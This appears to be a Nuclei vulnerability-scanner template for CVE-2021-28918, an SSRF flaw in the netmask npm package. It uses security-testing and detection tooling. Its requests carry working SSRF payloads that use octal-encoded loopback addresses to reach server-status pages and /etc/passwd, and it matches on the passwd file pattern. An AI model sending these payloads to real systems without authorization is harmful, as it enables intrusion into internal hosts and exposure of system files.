id: CVE-2021-28918

info:
  name: Netmask NPM Package SSRF
  author: johnjhacking
  severity: critical
  description: Improper input validation of octal strings in netmask npm package allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many of the dependent packages. A remote
    unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
  reference:
    - https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28918
    - https://github.com/advisories/GHSA-pch5-whg9-qr2r
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2021-28918
    cwe-id: CWE-20
  tags: cve,cve2021,npm,netmask,ssrf,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "Apache Server Status"
          - "Server Version"
        condition: and

      - type: regex
        regex:
          - "root:.*:0:0:"